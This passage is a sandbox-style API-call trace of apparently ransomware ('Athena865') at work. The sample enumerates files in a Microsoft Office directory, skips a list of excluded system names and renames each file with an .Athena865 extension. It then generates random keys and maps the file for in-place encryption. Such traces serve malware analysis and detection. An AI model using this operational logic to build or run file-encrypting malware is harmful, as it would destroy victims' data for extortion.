dwMaximumSizeLow=0x223ca0, lpName=0x0) returned 0x154 [0067.697] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x23ca0) returned 0x170000 [0067.820] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.820] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.820] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.821] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0067.822] CloseHandle (hObject=0x154) returned 1 [0067.822] CloseHandle (hObject=0x17c) returned 1 [0067.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.832] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".") returned 1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="..") returned 1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="windows") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="bootmgr") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="temp") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="pagefile.sys") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="boot") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="ids.txt") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="ntuser.dat") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="perflogs") returned -1 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="MSBuild") returned -1 [0067.832] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0067.832] lstrcpyW (in: lpString1=0x241e89e, lpString2="AUTHZAX.DLL" | out: lpString1="AUTHZAX.DLL") returned="AUTHZAX.DLL" [0067.832] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0067.832] lstrlenW (lpString="Athena865") returned 9 [0067.832] lstrcmpiW (lpString1="THZAX.DLL", lpString2="Athena865") returned 1 [0067.832] lstrlenW (lpString=".dll") returned 4 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".dll") returned 1 [0067.832] lstrlenW (lpString=".lnk") returned 4 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".lnk") returned 1 [0067.832] lstrlenW (lpString=".ini") returned 4 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".ini") returned 1 [0067.832] lstrlenW (lpString=".sys") returned 4 [0067.832] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".sys") returned 1 [0067.832] lstrlenW (lpString="AUTHZAX.DLL") returned 11 [0067.833] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL.Athena865") returned 64 [0067.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll.athena865"), dwFlags=0x1) returned 1 [0067.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUTHZAX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\authzax.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.834] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=69000) returned 1 [0067.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.834] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.835] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.835] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.835] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11090, lpName=0x0) returned 0x154 [0067.837] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11090) returned 0x100000 [0067.840] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.841] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.841] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.841] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0067.842] CloseHandle (hObject=0x154) returned 1 [0067.842] CloseHandle (hObject=0x17c) returned 1 [0067.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.843] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="BCSAUT~1.DLL")) returned 1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2=".") returned 1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="..") returned 1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="windows") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="bootmgr") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="temp") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="pagefile.sys") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="boot") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="ids.txt") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="ntuser.dat") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="perflogs") returned -1 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2="MSBuild") returned -1 [0067.843] lstrlenW (lpString="BCSAutogen.dll") returned 14 [0067.843] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSAutogen.dll" | out: lpString1="BCSAutogen.dll") returned="BCSAutogen.dll" [0067.843] lstrlenW (lpString="BCSAutogen.dll") returned 14 [0067.843] lstrlenW (lpString="Athena865") returned 9 [0067.843] lstrcmpiW (lpString1="togen.dll", lpString2="Athena865") returned 1 [0067.843] lstrlenW (lpString=".dll") returned 4 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2=".dll") returned 1 [0067.843] lstrlenW (lpString=".lnk") returned 4 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2=".lnk") returned 1 [0067.843] lstrlenW (lpString=".ini") returned 4 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2=".ini") returned 1 [0067.843] lstrlenW (lpString=".sys") returned 4 [0067.843] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2=".sys") returned 1 [0067.843] lstrlenW (lpString="BCSAutogen.dll") returned 14 [0067.844] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll.Athena865") returned 67 [0067.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll.athena865"), dwFlags=0x1) returned 1 [0067.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSAutogen.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsautogen.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.845] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50048) returned 1 [0067.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.846] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.846] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.846] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.847] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc680, lpName=0x0) returned 0x154 [0067.848] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc680) returned 0x100000 [0067.851] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.852] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.852] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.852] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0067.853] CloseHandle (hObject=0x154) returned 1 [0067.853] CloseHandle (hObject=0x17c) returned 1 [0067.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.853] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="BCSCLI~1.DLL")) returned 1 [0067.853] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.853] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.853] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2=".") returned 1 [0067.853] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="..") returned 1 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="windows") returned -1 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="bootmgr") returned -1 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="temp") returned -1 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="pagefile.sys") returned -1 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="boot") returned -1 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="ids.txt") returned -1 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="ntuser.dat") returned -1 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="perflogs") returned -1 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2="MSBuild") returned -1 [0067.854] lstrlenW (lpString="BCSClient.Msg.dll") returned 17 [0067.854] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSClient.Msg.dll" | out: lpString1="BCSClient.Msg.dll") returned="BCSClient.Msg.dll" [0067.854] lstrlenW (lpString="BCSClient.Msg.dll") returned 17 [0067.854] lstrlenW (lpString="Athena865") returned 9 [0067.854] lstrcmpiW (lpString1="t.Msg.dll", lpString2="Athena865") returned 1 [0067.854] lstrlenW (lpString=".dll") returned 4 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2=".dll") returned 1 [0067.854] lstrlenW (lpString=".lnk") returned 4 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2=".lnk") returned 1 [0067.854] lstrlenW (lpString=".ini") returned 4 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2=".ini") returned 1 [0067.854] lstrlenW (lpString=".sys") returned 4 [0067.854] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2=".sys") returned 1 [0067.854] lstrlenW (lpString="BCSClient.Msg.dll") returned 17 [0067.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll.Athena865") returned 70 [0067.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll.athena865"), dwFlags=0x1) returned 1 [0067.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclient.msg.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.855] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39776) returned 1 [0067.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.856] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.856] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.857] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.857] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9e60, lpName=0x0) returned 0x154 [0067.870] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9e60) returned 0x100000 [0067.890] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.891] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.891] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.891] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0067.892] CloseHandle (hObject=0x154) returned 1 [0067.892] CloseHandle (hObject=0x17c) returned 1 [0067.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.892] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x6886, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSClientManifest.man", cAlternateFileName="BCSCLI~1.MAN")) returned 1 [0067.892] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.892] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.892] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2=".") returned 1 [0067.892] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="..") returned 1 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="windows") returned -1 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="bootmgr") returned -1 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="temp") returned -1 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="pagefile.sys") returned -1 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="boot") returned -1 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="ids.txt") returned -1 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="ntuser.dat") returned -1 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="perflogs") returned -1 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2="MSBuild") returned -1 [0067.893] lstrlenW (lpString="BCSClientManifest.man") returned 21 [0067.893] lstrcpyW (in: lpString1=0x241e89e, lpString2="BCSClientManifest.man" | out: lpString1="BCSClientManifest.man") returned="BCSClientManifest.man" [0067.893] lstrlenW (lpString="BCSClientManifest.man") returned 21 [0067.893] lstrlenW (lpString="Athena865") returned 9 [0067.893] lstrcmpiW (lpString1="ifest.man", lpString2="Athena865") returned 1 [0067.893] lstrlenW (lpString=".dll") returned 4 [0067.893] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2=".dll") returned 1 [0067.897] lstrlenW (lpString=".lnk") returned 4 [0067.897] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2=".lnk") returned 1 [0067.897] lstrlenW (lpString=".ini") returned 4 [0067.897] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2=".ini") returned 1 [0067.897] lstrlenW (lpString=".sys") returned 4 [0067.897] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2=".sys") returned 1 [0067.897] lstrlenW (lpString="BCSClientManifest.man") returned 21 [0067.897] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.Athena865") returned 74 [0067.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.athena865"), dwFlags=0x1) returned 1 [0067.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.913] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26758) returned 1 [0067.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.913] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.914] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.914] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.914] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b90, lpName=0x0) returned 0x154 [0067.916] MapViewOfFile 